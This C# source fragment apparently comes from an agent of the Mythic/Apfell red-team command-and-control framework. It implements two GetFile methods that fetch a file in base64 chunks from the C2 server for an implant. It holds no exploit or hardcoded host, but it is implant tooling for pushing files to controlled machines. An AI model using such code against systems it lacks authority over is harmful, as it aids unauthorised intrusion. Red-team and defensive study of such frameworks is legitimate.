/// <summary> /// Retrieve a file from the Apfell server and return the bytes of that file. /// </summary> /// <param name="file_id">ID of the file to pull down.</param> /// <param name="implant">Agent or implant that is retrieving this file.</param> /// <returns></returns> override public byte[] GetFile(string task_id, string file_id, int chunk_size) { List <byte> fileChunks = new List <byte>(); try { Mythic.Structs.UploadFileRegistrationMessage fileReg; string response; UploadReply reply; byte[] data; int i = 1; do { fileReg = new UploadFileRegistrationMessage() { action = "upload", chunk_size = chunk_size, file_id = file_id, full_path = "", chunk_num = i }; if (Send(task_id, JsonConvert.SerializeObject(fileReg))) { response = (string)Inbox.GetMessage(task_id); reply = JsonConvert.DeserializeObject <UploadReply>(response); data = System.Convert.FromBase64String(reply.chunk_data); for (int j = 0; j < data.Length; j++) { fileChunks.Add(data[j]); } i++; } else { break; } //response = implant.Profile.Send(JsonConvert.SerializeObject(fileReg)); //reply = JsonConvert.DeserializeObject<UploadReply>(response); //data = System.Convert.FromBase64String(reply.chunk_data); //for(int j = 0; j < data.Length; j++) //{ // fileChunks.Add(data[j]); //} //i++; } while (i <= reply.total_chunks); } catch { return(null); } return(fileChunks.ToArray()); }
override public byte[] GetFile(UploadFileRegistrationMessage fileReg, int chunk_size) { string response; UploadReply reply; reply.total_chunks = 0; byte[] data; List <byte> fileChunks = new List <byte>(); int i = 1; // Set requisite attributes fileReg.action = "upload"; fileReg.chunk_size = chunk_size; //fileReg.chunk_num = i; if (fileReg.full_path != "" && fileReg.full_path != null && (fileReg.task_id == "" || fileReg.task_id == null)) { throw new Exception("Full path given but no task_id set. Aborting."); } try { do { fileReg.chunk_num = i; if (Send(fileReg.task_id, JsonConvert.SerializeObject(fileReg))) { response = (string)Inbox.GetMessage(fileReg.task_id); reply = JsonConvert.DeserializeObject <UploadReply>(response); data = System.Convert.FromBase64String(reply.chunk_data); for (int j = 0; j < data.Length; j++) { fileChunks.Add(data[j]); } i++; } } while (i <= reply.total_chunks); } catch (Exception ex) { return(null); } return(fileChunks.ToArray()); }